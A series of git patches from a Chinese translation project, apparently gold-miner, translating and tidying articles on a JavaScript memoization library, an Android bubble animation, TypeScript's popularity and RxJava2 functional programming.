+以上就是我创建这个世界上最快的记忆化库的过程。分别实现各个部分，组合它们，然后统计每种组合方案的性能数据，从中选择最优的方案。*(使用 [benchmark.js](https://benchmarkjs.com/) )。*
+希望这个过程对其他开发者有所帮助。
 
-## Conclusion ##
+[fast-memoize.js 是目前最好的 #JavaScrip 库, 并且我会努力让它一直是最好的。](https://twitter.com/share)
+[分享到 Tweet](https://twitter.com/share)
 
-That was my take on creating a faster library on an already crowded market. Creating many solutions for each part, combining them, and letting the computer tell which one was the fastest based on statistically significant data. *(I used [benchmark.js](https://benchmarkjs.com/) for that).*
+**并非是因为我聪明绝顶, 而是我会一直维护它。** 欢迎给我提交 [Pull requests](https://github.com/caiogondim/fast-memoize.js/pulls)。
 
-Hope the process I used can be useful for someone else too.
-
-[fast-memoize.js is currently the best memoization library in #JavaScript, and I will strive for it to always be.](https://twitter.com/share)
-
-[Click To Tweet](https://twitter.com/share)
-
-**Not because I'm the smartest programmer in the world, but because I will keep the algorithm up to date with findings from others.**[Pull requests](https://github.com/caiogondim/fast-memoize.js/pulls) are always welcome.
-
-Benchmarking algorithms that runs on virtual machines can be very tricky, as explained by [Vyacheslav Egorov](https://www.youtube.com/watch?v=g0ek4vV7nEA&amp;t=22s), a former V8 engineer. If you see something wrong on how the tests were set up, please create an issue on [GitHub](https://github.com/caiogondim/fast-memoize.js/issues).
+正如前V8工程师 [Vyacheslav Egorov](https://www.youtube.com/watch?v=g0ek4vV7nEA&amp;t=22s) 所言，在虚拟机上测试算法性能非常棘手。如果你发现测试中的错误，请在 [GitHub](https://github.com/caiogondim/fast-memoize.js/issues) 上提交 issue。
 
 The same goes for the library itself. Create an issue if you spotted anything wrong (issues with a failing test are appreciated). 
-
+？？？
 Pull requests with improvements are super appreciated!
+？？？
+如果你喜欢这个库，欢迎 [star](https://github.com/caiogondim/fast-memoize.js/stargazers)。这是对我们开源开发者的鼓励哦。
 
-If you liked the library, please give it a [star](https://github.com/caiogondim/fast-memoize.js/stargazers). That's one of the few feedbacks we open source programmers have.
-
-#### References ####
+#### 参考文献 ####
 
 - [JavaScript & Hashtable](https://simplenotions.wordpress.com/2011/07/05/javascript-hashtable/)
 - [Firing up ignition interpreter](http://v8project.blogspot.com.br/2016/08/firing-up-ignition-interpreter.html)
 - [Big-O cheat sheet](http://bigocheatsheet.com/)
 - [GOTO 2015 • Benchmarking JavaScript • Vyacheslav Egorov](https://www.youtube.com/watch?v=g0ek4vV7nEA&amp;t=22s)
 
-Let me know in the comments if you have any questions!
-
+有任何问题，欢迎评论！
 
 ---
 

From 2ca15fcda304ece0095b8805d767a820d911d1ad Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <zhaoshengdong@meituan.com>
Date: Sun, 7 May 2017 20:44:17 +0800
Subject: [PATCH 361/638] fix trailing spaces

---
 ...-fastest-javascript-memoization-library.md | 32 +++++++++----------
 1 file changed, 16 insertions(+), 16 deletions(-)

diff --git a/TODO/the-worlds-fastest-javascript-memoization-library.md b/TODO/the-worlds-fastest-javascript-memoization-library.md
index 0061cbcda43..ef6293a2ca3 100644
--- a/TODO/the-worlds-fastest-javascript-memoization-library.md
+++ b/TODO/the-worlds-fastest-javascript-memoization-library.md
@@ -68,7 +68,7 @@ The goal here is to let the computer do the heavy lifting for us!
 ```js
     // Keys 代表斐波那契函数的输入
     // Values 代表函数执行结果
-    const cache = {  
+    const cache = {
       5: 5,
       6: 8,
       7: 13
@@ -92,8 +92,8 @@ The goal here is to let the computer do the heavy lifting for us!
 ```js
     functionfoo(arg) { returnString(arg) }
 
-    foo({a: 1}) // => '[object Object]'  
-    foo({b: 'lorem'}) // => '[object Object]'  
+    foo({a: 1}) // => '[object Object]'
+    foo({b: 'lorem'}) // => '[object Object]'
 ```
 
 这就是为什么我们还需要一个序列化器，用它来生成参数的**指纹**（唯一标识，译者注）。它的速度越快越好。
@@ -115,7 +115,7 @@ The goal here is to let the computer do the heavy lifting for us!
 策略使用了**序列化器**和**缓存**，将两者结合起来。对 [fast-memoize.js](https://github.com/caiogondim/fast-memoize.js) 来说，策略是我花时间最多的部分。即使非常简单的算法，每一个版本迭代都有一些性能提升。
 以下是我先后尝试的方式：
 
-1. 普通方式 (初始版本) 
+1. 普通方式 (初始版本)
 2. 针对单个参数优化
 3. 参数推断
 4. 偏特化
@@ -128,7 +128,7 @@ The goal here is to let the computer do the heavy lifting for us!
 
 这是我第一次尝试，也是最简单的版本。步骤是：
 
-1. 序列化参数 
+1. 序列化参数
 2. 检查给定输入的输出是否已经计算过
 3. 如果`是`，从缓存中读取结果
 4. 如果`否`，计算，并且将结果保存到缓存中
@@ -156,11 +156,11 @@ The goal here is to let the computer do the heavy lifting for us!
 对已定义的函数，`function.length` 返回期望接受的参数个数。我们可以通过给策略 monadic（单参数函数）和 not-monadic，这样就避免了检查 `arguments.length === 1`。
 
 ```js
-    functionfoo(a, b) {  
+    functionfoo(a, b) {
       Return a + b
     }
-    foo.length // => 2  
-```    
+    foo.length // => 2
+```
 
 ![参数推断](https://blog-assets.risingstack.com/2017/01/infer-arity.png)
 
@@ -171,11 +171,11 @@ The goal here is to let the computer do the heavy lifting for us!
 我觉得大多数时间都花费在了变量查找上（？？？），起初我也没有好的想法去改善。灵机一动，我突然想到可以使用 `bind` 方法，通过偏函数应用的方法将变量注入到函数中。
 
 ```js
-    functionsum(a, b) {  
+    functionsum(a, b) {
       return a + b
     }
-    const sumBy2 = sum.bind(null, 2)  
-    sumBy2(3) // => 5  
+    const sumBy2 = sum.bind(null, 2)
+    sumBy2(3) // => 5
 ```
 
 这种方式可以将函数的某些参数固定下来。我用就它把**原函数**，**缓存**，和**序列化器**固定下来。就用它来试试吧！
@@ -196,10 +196,10 @@ V8 会更根据函数的调用频率、代码结构等因素，做很多运行
 
 Legend:
 
-1. **策略**: 偏函数, **缓存**: 普通对象, **序列化器**: json-stringify 
-2. **策略**: 偏函数, **缓存**: 无原型对象, **序列化器**: json-stringify 
-3. **策略**: 偏函数, **缓存**: 无原型对象, **序列化器**: json-stringify-binded 
-4. **策略**: 偏函数, **缓存**: 普通对象, **序列化器**: json-stringify-binded 
+1. **策略**: 偏函数, **缓存**: 普通对象, **序列化器**: json-stringify
+2. **策略**: 偏函数, **缓存**: 无原型对象, **序列化器**: json-stringify
+3. **策略**: 偏函数, **缓存**: 无原型对象, **序列化器**: json-stringify-binded
+4. **策略**: 偏函数, **缓存**: 普通对象, **序列化器**: json-stringify-binded
 5. **策略**: 偏函数, **缓存**: Map, **序列化器**: json-stringify
 
 事实证明我们上面的分析是对的。最快的组合是：
@@ -238,7 +238,7 @@ V8有一个很新的、未发布的优化编译器 [TurboFan](http://v8project.b
 
 正如前V8工程师 [Vyacheslav Egorov](https://www.youtube.com/watch?v=g0ek4vV7nEA&amp;t=22s) 所言，在虚拟机上测试算法性能非常棘手。如果你发现测试中的错误，请在 [GitHub](https://github.com/caiogondim/fast-memoize.js/issues) 上提交 issue。
 
-The same goes for the library itself. Create an issue if you spotted anything wrong (issues with a failing test are appreciated). 
+The same goes for the library itself. Create an issue if you spotted anything wrong (issues with a failing test are appreciated).
 ？？？
 Pull requests with improvements are super appreciated!
 ？？？

From 10bd8983624ba8e1b061e86f15091230ccc8e6b6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <zhaoshengdong@meituan.com>
Date: Sun, 7 May 2017 21:09:57 +0800
Subject: [PATCH 362/638] =?UTF-8?q?=E8=AF=91=E8=80=85=E6=B3=A8=EF=BC=8Cfun?=
 =?UTF-8?q?ction.name?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/the-worlds-fastest-javascript-memoization-library.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/the-worlds-fastest-javascript-memoization-library.md b/TODO/the-worlds-fastest-javascript-memoization-library.md
index ef6293a2ca3..00edace0d60 100644
--- a/TODO/the-worlds-fastest-javascript-memoization-library.md
+++ b/TODO/the-worlds-fastest-javascript-memoization-library.md
@@ -103,7 +103,7 @@ The goal here is to let the computer do the heavy lifting for us!
 序列化器基于给定的输入输出一个字符串。它必须是一个确定性算法，意味着对相同的输入，总是给出相同的输出。
 序列化器生成的字符串用作缓存的key，代表记忆化函数的输入。
 `JSON.stringify` 是实现它性能最佳的方式，比其它方式的都好 -- 这也很容易理解，因为 `JSON.stringify` 是原生的。
-我尝试使用 bound `JSON.stringify`（JSON.stringify.bind(null)，译者注），希望通过减少一次变量查找来提高性能，但很遗憾没有效果。
+我尝试使用 bound `JSON.stringify`（`bar = foo.bind(null)`，此时 `bar.name` 为 `bound foo`，译者注），希望通过减少一次变量查找来提高性能，但很遗憾没有效果。
 想在本地执行，可以执行命令 `npm run benchmark:serializer`，实现的具体代码可以在[项目的 GitHub 页面](https://github.com/caiogondim/fast-memoize.js/tree/master/benchmark/serializer)找到。
 
 ![变量序列化器](https://blog-assets.risingstack.com/2017/01/variable-serializer.png)

From 3351b4d3581a6428237001a79e4ced20374659de Mon Sep 17 00:00:00 2001
From: hackerkevin <hackerkevin@users.noreply.github.com>
Date: Sun, 7 May 2017 22:53:30 +0800
Subject: [PATCH 363/638] Update
 how-we-created-bubblepicker-a-colourful-animation-for-android.md

---
 ...lepicker-a-colourful-animation-for-android.md | 16 +++++++++++++++-
 1 file changed, 15 insertions(+), 1 deletion(-)

diff --git a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
index 10a153a6fbe..01a9a92f55f 100644
--- a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
+++ b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
@@ -34,24 +34,38 @@ Our component has a white background with lots of bright colors and graphics aga
 
 This high contrast is very helpful for apps rich in content, where users have to choose from a list of options. For example, in our concept we used bubbles to hold the names of potential destinations within a travel app. Bubbles float freely, and when a user taps on one of them, the tapped bubble grows in size.
 
-
+这种高反差对丰富应用的内容很有帮助，在这里用户不得不从一系列选项列表中做出选择。比如，在我们的概念中，我们在旅行应用中使用气泡来持有潜在的目的地名称。气泡在自由的漂浮，当用户点击其中一个时，那个气泡就会变大。
 
 ![](https://yalantis-com-dev-06-09.s3.amazonaws.com/uploads/ckeditor/pictures/2329/content_discover_animation.gif)
 
 Moreover, we provide developers with the opportunity to customize the elements of the screen to make the animation suit any app.  
 
+此外，开发者可以通过自定义屏幕中的元素使得动画适配任何应用。
+
 While working on this animation we had to deal with the following five challenges:
 
+当我们在制作这个动画的同时，我们要面对下面五个挑战：
+
 ### **1. Choosing the optimal development tools** ###
 
+### **1. 选择最佳开发工具** ###
+
 It became clear to us that rendering such a fast animation on Canvas wouldn’t be efficient enough, so we decided to use OpenGL (Open Graphics Library). OpenGL is a cross-platform application programming interface for 2D and 3D graphics rendering. Fortunately, Android supports some versions of OpenGL.
 
+我们都清楚，在 Canvas 上执行这么快的动画效率不够高，所以我们决定使用OpenGL (Open Graphics Library)。 OpenGL 是一个提供 2D 或 3D 图形渲染的、跨平台的应用程序接口。幸运的是，Android 支持一些 OpenGL 的版本。
+
 We needed to make our circles move naturally, just as gas bubbles do in a fizzy drink. There are plenty of physics engines available for Android, but we had specific requirements that made it significantly more difficult to make a choice: the engine needed to be lightweight and easy to embed in the Android library. Most engines are developed for games and require you to adapt the project structure to them. After some research we found JBox2D (a Java port of the Box2D engine written in C++); and since our animation isn’t supposed to be used with a great number of physical bodies (in other words it’s not designed for 200 or more objects) we could get away with using a Java port instead of the original engine.
 
+我们需要让圆更加的自然，就像是汽水中的气泡。有很多物理引擎可用于 Android，但是我们有更特别的需求使得很难选择：这个引擎必须轻量而且方便嵌入 Android 库中。大多数引擎都是为游戏开发的，你必须使工程机构适应它们。经过一些研究，我们发现 JBox2D (一个使用 C++ 开发的、 Java 端口的 Box2D 引擎)；因为我们的动画并不支持很多数量的物理体（换句话说，它不是为了200+的对象设计的），我们可以使用 Java 端口而不是原生引擎。
+
 Also, later in this article we’ll explain our choice of programming language (Kotlin) and talk about the advantages of this new language.To find out more about the difference between Java and Kotlin you can read our review in [our previous article](https://yalantis.com/blog/kotlin-vs-java-syntax/).
 
+另外，在本文的后面我们会解释为何选择了 Kotlin 语言编写，我们会谈到它的优势。想要了解 Java 与 Kotlin 更多的区别，请访问[之前的文章](https://yalantis.com/blog/kotlin-vs-java-syntax/)。
+
 ### **2. Creating shaders** ###
 
+### **2. 创建着色器** ###
+
 To begin with, it’s important to understand that the building block in OpenGL is a triangle since it’s the simplest shape that can approximate other shapes. Any shape that you create in OpenGL will consist of one or more triangles. To implement our animation we used two combined triangles for every body, so it looks like a square, where I can draw the circle.
 
 To render a shape you need to write at least two shaders – a vertex shader and a fragment shader. The difference between these two is evident by their names. A vertex shader is executed for each vertex of each triangle, while a fragment shader is executed for every pixel-sized part of the triangles. 

From 541088f7823a4f1a1d9b786f41b2bcf045d91de6 Mon Sep 17 00:00:00 2001
From: loveky <ylzcylx@gmail.com>
Date: Sun, 7 May 2017 23:29:56 +0800
Subject: [PATCH 364/638] save

---
 TODO/typescript-getting-popular.md | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/TODO/typescript-getting-popular.md b/TODO/typescript-getting-popular.md
index bc33d6ff58a..5e01737c626 100644
--- a/TODO/typescript-getting-popular.md
+++ b/TODO/typescript-getting-popular.md
@@ -1,28 +1,28 @@
 > * 原文地址：[Why TypeScript Is Growing More Popular](https://thenewstack.io/typescript-getting-popular/)
 > * 原文作者：[Mary Branscombe](https://thenewstack.io/author/marybranscombe/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[loveky](https://github.com/loveky)
 > * 校对者：
 
-# Why TypeScript Is Growing More Popular #
+# 为何 TypeScript 变得更加流行了？ #
 
 ![](https://cdn.thenewstack.io/media/2017/04/2fd01361-unnamed-1024x876.jpg)
 
-Why is [TypeScript](https://www.typescriptlang.org/) getting so popular? Key development frameworks depend on it and it improves developer productivity in the ever-changing JavaScript world.
+为何 [TypeScript](https://www.typescriptlang.org/) 这么流行呢？主要的开发框架依赖于它，它还可以提高开发人员在不断变化的 JavaScript 世界中的生产力。
 
-The recent [Stack Overflow Developer Survey](https://stackoverflow.com/insights/survey/2017#technology) and the annual [RedMonk](http://redmonk.com) programming [language rankings](https://redmonk.com/sogrady/2017/03/17/language-rankings-1-17/) both showed that [TypeScript](https://www.thenewstack.io/tag/TypeScript) — the open source project started by Microsoft to combine transpiling for advanced JavaScript features with static type checking and tooling — is reaching new heights of popularity. By providing[ minimal checking syntax on top of JavaScript](https://medium.com/@tomdale/glimmer-js-whats-the-deal-with-typescript-f666d1a3aad0), TypeScript allows developers to type check their code, which can [reveal bugs and generally improve the organization and documentation](https://slack.engineering/typescript-at-slack-a81307fa288d) of large JavaScript code bases.
+在最近的 [Stack Overflow 开发者问卷](https://stackoverflow.com/insights/survey/2017#technology)以及年度[RedMonk](http://redmonk.com)编程[语言排名](https://redmonk.com/sogrady/2017/03/17/language-rankings-1-17/)中都显示 [TypeScript](https://www.thenewstack.io/tag/TypeScript) —— 由微软发起的结合了编译高级 JavaScript 特性与静态类型检查及工具的开源项目 —— 正在达到新的人气高度。通过为 JavaScript 提供[最基本的检查语法](https://medium.com/@tomdale/glimmer-js-whats-the-deal-with-typescript-f666d1a3aad0)，TypeScript 允许开发人员对他们的代码进行类型检查，这可以暴露 bug 并改善大型 JavaScript 代码库的结构和文档。
 
-Nine and a half percent of the developers Stack Overflow surveyed are using TypeScript, making it the ninth most popular language, just ahead of Ruby and twice as popular with that audience as Perl. Stack Overflow reaches a diverse audience in this survey; the top two languages used are JavaScript and SQL, so this survey isn’t just querying front end development. In fact, TypeScript coders show up in all four of the job roles Stack Overflow asks about; web developers, desktop developers, admins and DevOps, and data scientists.
+参与了 Stack Overflow 问卷的开发人员中有9.5% 的人正在使用 TypeScript，这使得 TypeScript 成为了第九流行的编程语言。排名在 Ruby 之前，用户量是 Perl 的两倍。此次 Stack Overflow 问卷中的受访者来自不同领域；使用最广泛的两种语言是 JavaScript 和 SQL，这说明此次问卷并非只针对前端开发领域。事实上，TypeScript 程序员出现在了参与 Stack Overflow 问卷的所有4种工作角色中；web 开发人员、桌面开发人员、系统管理员与 DevOps 以及数据科学家。
 
-RedMonk’s rankings combine the Stack Overflow numbers with GitHub pull requests to find out what developers are thinking about, as well as what they’re using. TypeScript has also gained popularity with this audience of developers, moving from 26 to 17 in the rankings. Some of that is down to interest on Stack Overflow, but mostly it’s because of the increased developer involvement on GitHub.
+RedMonk 的排名将 Stack Overflow 的数据与 Github 上的 pull request 结合起来试图理解开发人员的想法以及他们正在使用什么。TypeScript 同样受到了开发者的欢迎，排名从26位上升到了17位。其中一部分原因是 Stack Overflow 上关注度的提升，但主要还是因为在 GitHub 上参与的开发者在不断增多。
 
-Indeed, GitHub’s own 2016 [State of the Octoverse](https://octoverse.github.com/) puts TypeScript as the 15th most popular of the 316 programming languages developers use for projects on GitHub (based on both the number of pull requests and the 250 percent increase in pull requests for TypeScript over the previous year).
+的确，GitHub 在自己的2016[年度八卦](https://octoverse.github.com/)中把 TypeScript 列为在 GitHub 上用于项目开发的316中编程语言中最受欢迎榜单的第15位（基于 pull request 的数量以及相较与前一年 pull request 250%的增长率）。
 
-TypeScript also has both the highest usage (21 percent) and the highest interest among those not yet using it (39 percent) among the various “alternative” JavaScript [flavors](http://stateofjs.com/2016/flavors/) in another survey of developers. The methodology of this survey is unusual — it rather strangely conflates transpilers with package managers like [npm](https://www.npmjs.com/) and [Bower](https://bower.io/) — but the developers who responded to the survey and use TypeScript also commonly use [ECMAScript 2015](http://www.ecma-international.org/ecma-262/6.0/), [NativeScript](https://www.nativescript.org/), [Angular](https://angular.io/), and especially Angular2.
+在另一个针对开发者的调查中，TypeScript 在众多 JavaScript 的『替代』[风格](http://stateofjs.com/2016/flavors/)中拥有最高的使用率（21%）以及尚未的用户中最高的关注度（39%）。这项调查的方式不同寻常 —— 它很奇怪的将转译器和包管理器（如 [npm](https://www.npmjs.com/) 和 [Bower](https://bower.io/)）混合在一起 —— 但参与了这项调查且经常使用 TypeScript 的开发者也经常使用 [ECMAScript 2015](http://www.ecma-international.org/ecma-262/6.0/)、[NativeScript](https://www.nativescript.org/)、[Angular](https://angular.io/)，尤其是 Angular2。
 
-RedMonk’s [Stephen O’Grady ](http://redmonk.com/team/stephen-ogrady/)notes that “it seems reasonable to suspect that Angular is playing a role” in the increasing popularity of TypeScript. Angular2 is just one of the projects that has adopted TypeScript though (Asana and Dojo already used it, as do internal projects at Adobe, Google, Palantir, SitePen and eBay). But it might be the best known — with Google employees like Rob Wormald [@robwormald] evangelizing TypeScript alongside Angular.
+来自 RedMonk 的 [Stephen O’Grady](http://redmonk.com/team/stephen-ogrady/) 指出『似乎有理由相信 Angular』在 TypeScript 的日益普及中发挥了作用。Angular2 只是众多使用了 TypeScript 的项目中的一个（Asana 和 Dojo 已经在使用了，Adobe、Google、Palantir、SitePen 以及 eBay 的一些内部项目也是一样）。但最为人们所熟知的，恐怕还是像 [Rob Wormald](https://twitter.com/robwormald) 这样的 Google 员工在宣传 Angular 时顺带推广了 TypeScript。
 
-## Not Just Angular2 ##
+## 不止是 Angular2 ##
 
 “There’s no doubt the partnership that we have with the Angular team has helped drive the numbers,” core TypeScript developer [Anders Hejlsberg ](https://twitter.com/ahejlsberg?lang=en)told The New Stack. “That goes without saying; but even so, I think the real point is that it was a massive vote of confidence on the part of an important industry force.”
 

From 6da8fcb46f857dea726f2a313067557e72fe3859 Mon Sep 17 00:00:00 2001
From: hackerkevin <hackerkevin@users.noreply.github.com>
Date: Mon, 8 May 2017 00:57:27 +0800
Subject: [PATCH 365/638] Update
 how-we-created-bubblepicker-a-colourful-animation-for-android.md

---
 ...d-bubblepicker-a-colourful-animation-for-android.md | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
index 01a9a92f55f..2876bdde3a2 100644
--- a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
+++ b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
@@ -68,12 +68,18 @@ Also, later in this article we’ll explain our choice of programming language (
 
 To begin with, it’s important to understand that the building block in OpenGL is a triangle since it’s the simplest shape that can approximate other shapes. Any shape that you create in OpenGL will consist of one or more triangles. To implement our animation we used two combined triangles for every body, so it looks like a square, where I can draw the circle.
 
+在开始的时候，我们需要先理解 OpenGL 中的构建快是三角形，因为三角形是能够模拟成其他形状中最简单的形状。你在 OpenGL 中创建出的任何形状，都包含了一个或多个三角形。为了实现动画，我们为每个动画体使用了两个组合三角形，所以看起来像个正方形，我们可以在里面画圆。
+
 To render a shape you need to write at least two shaders – a vertex shader and a fragment shader. The difference between these two is evident by their names. A vertex shader is executed for each vertex of each triangle, while a fragment shader is executed for every pixel-sized part of the triangles. 
 
+渲染一个形状至少需要写两个着色器 - 一个顶点着色器和一个片段着色器。它们的名称已经体现了各自的不同。对每个三角形的每个顶点执行一个顶点着色器，而对三角形中的每个像素大小的部分则执行片段着色器。
+
 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2330/content_3.jpg)
 
 Vertex shaders are used to control transformations of the shape (e.g scaling, position, rotation), while fragment shaders are responsible for the color of the sample. 
 
+顶点着色器通常被用于控制形状（如缩放、位置、旋转），而片段着色器负责控制其颜色。
+
 ```
     // language=GLSL
     val vertexShader = """
@@ -108,8 +114,12 @@ Vertex shaders are used to control transformations of the shape (e.g scaling, po
 
 Shaders are written in GLSL (OpenGL Shading Language) and must be compiled at runtime. If you code in Java, the most convenient way to do that is to write your shaders in a separate file and retrieve them using an input stream. As you can see, Kotlin lets developers create shaders in classes more conveniently by putting any multiline code in triple quotes (""").
 
+着色器是使用 GLSL (OpenGL Shading Language) 编写的，必须在运行时编译。如果你用的是 Java 代码，最方便的方法是将你的着色器写到一个单独的文件中，然后使用输入流取回。如你所见，Kotlin 开发人员通过将任何多行代码放到三重引号（"""）中，更方便的在类中创建着色器。
+
 In GLSL there are several types of variables: 
 
+GLSL 有几种不同类型的变量：
+
 - Uniform variables hold the same value for all vertices and fragments
 
 - Attribute variables are different for each vertex

From 4bf028f20314ccc4aa24aa80ba6c675fe20b5900 Mon Sep 17 00:00:00 2001
From: Shirley Yang <yang.scorpio@aliyun.com>
Date: Mon, 8 May 2017 01:19:49 +0800
Subject: [PATCH 366/638] address comments

---
 ...oid-rxjava2-what-the-hell-is-this-part3.md | 326 ++++--------------
 1 file changed, 60 insertions(+), 266 deletions(-)

diff --git a/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md b/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
index e625d1a042c..b7a41810d82 100644
--- a/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
+++ b/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
@@ -1,47 +1,31 @@
 > * 原文地址：[Reactive Programming [ Android RxJava2 ] ( What the hell is this ) Part3](https://www.teambition.com/project/583d8744180aa4d012496f03/tasks/scrum/583d8744fa1e93bf18a85a7a/task/58d0e5c09e4371c673330e96)
 > * 原文作者：[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
-
-## Functional Interfaces, Default Methods, { Higher Order – Pure – Side Effects in } + Functions, Im + { Mutable } , Lambda Expression & Functional Programming – Reactive Programming [ Android RxJava2 ] ( What the hell is this ) Part3 ##
+> * 译者：[XHShirley](https://github.com/XHShirley)
+> * 校对者：[stormrabbit](https://github.com/stormrabbit), [phxnirvana](https://github.com/phxnirvana)
 
 ##函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式 -  响应式编程 ［Android RxJava 2］（这到底是什么）第三部分##
 
 
-WOW, we got one more day so its time to make this day awesome by learning something new .
-
-Hello guys, hope you are doing good. This is our third post in series of RxJava2 Android [ [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/), [part2](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/) ]. In this post we are going to discuss about Functional Interfaces, Functional Programming, Lambda expressions and may be something bonus related to Java 8. Which will be helpful for everyone in near future.
+太棒了，我们又来到新的一天。这一次，我们要学一些新的东西让今天变得有意思起来。
 
 大家好，希望你们都过得不错。这是我们的 RxJava2 Android 系列的第三篇文章[[第一部分](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/), [第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)]。在这篇文章中，我们将讨论函数式的接口，函数式编程，Lambda 表达式以及与 Java 8 的相关的其它内容。这对每个人近期都是有帮助的。
 
-**Motivation:**
 **动机：**
 
-Motivation is same which I share with you in [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/). Lambda expressions, Functional programming, High Order Functions and blah blah blah always give me tough time specially when I am doing work in Java because every body know’s Java is Object Oriented Programming. So how Java can support Functional Paradigm. Then what is the role of Lambda expressions in Functional Programming. To make every thing clear and easy just like nothing, I will start from Functional Interfaces. One important point, my promise with you guys. I am 100% sure as you follow this part. In the end you will be comfortable with all the terms which we are listening in these days a lot. Functional Interfaces, Default Method, Pure Functions, Side Effects in Functions, Higher Order Functions, Mutable and Immutable, Functional Programming and Lambda expressions. I have a feeling lot of people are using Lambda expression in these days but may be after completing this post they know what is really Lambda expressions. Its time to ATTACK.
+动机和我在分享[第一部分](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/)时一致。Lambda 表达式，函数式编程，高阶函数等等总是让我在使用 Java 时很痛苦，因为大家都知道，Java 是面向对象编程的。所以，Java 怎么可能支持函数式编程。那么，在函数式编程里，Lambda 表达式的角色是什么呢？为了让所有问题变得简单明了，我会从函数式接口开始。重要的是，我向你们保证，只要你们 100% 看完这部分，你们将会对最近我们听到的所有名字都感觉自在很多。函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的与不可变的，函数式编程与 Lambda 表达式。我觉得很多人最近都在使用 Lambda 表达式，但或许在读完这篇文章后，他们会更了解 Lambda 表达式。攻克难题的时刻到了。
 
-动机和我在分享［第一部分］(http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/)时一致。Lambda 表达式，函数式编程，高阶函数等等总是让我在使用 Java 时很痛苦，因为大家都知道，Java 是面向对象编程的。所以，Java 怎么可能支持函数式编程。那么，在函数式编程里，Lambda 表达式的角色是什么呢？为了让所有问题变得简单明了，我会从函数式接口开始。重要的是，我向你们保证，只要你们 100% 看完这部分，你们将会对最近我们听到的所有名字都感觉自在很多。函数式接口，默认方法，完全的函数，函数的副作用，高阶函数，可变的与不可变的，函数式编程与 Lambda 表达式。我觉得很多人最近都在使用 Lambda 表达式，但或许在读完这篇文章后，他们会更了解 Lambda 表达式。攻克难题的时刻到了。
-
-**Revision:**
 **修改:**
 
-In [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/) we discuss the most important, basic and core concept of Rx and that is a Observer Pattern. In [part2](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/) we discuss about Pull vs Push and Imperative vs Reactive programming.
-
-在［第一部分］(http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/)，我们讨论的 Rx 最重要，最基础也最核心的概念，那就是观察者模式。在［第二部分］(http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)，我们讨论了拉模式和推模式，以及命令式和响应式编程。
+在[第一部分](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/)，我们讨论了 Rx 最重要，最基础也最核心的概念，那就是观察者模式。在[第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)，我们讨论了拉模式和推模式，以及命令式和响应式编程。
 
-**Introduction:**
 **介绍:**
 
-Today we are going to clear all confusions about Functional Interfaces, Default Method, Pure Functions, Side Effects in Functions, Higher Order Functions, Mutable and Immutable, Functional Programming and Lambda expressions. So guys I am not going to start from Lambda Expressions instead I am going to start from Functional Interfaces.
+今天我们将会弄清楚所有关于函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程以及 Lambda 表达式的所有困惑。所以为了方便理解 Lambda 表达式的概念，我要先解释什么是函数式接口。
 
-今天我们将会弄清楚所有关于函数式接口，默认方法，完全函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程以及 Lambda 表达式的所有困惑。所以，我不准备从 Lambda 表达式开始，反而我要从函数式接口开始。
-
-**Functional Interface:**
 **函数式接口:**
 
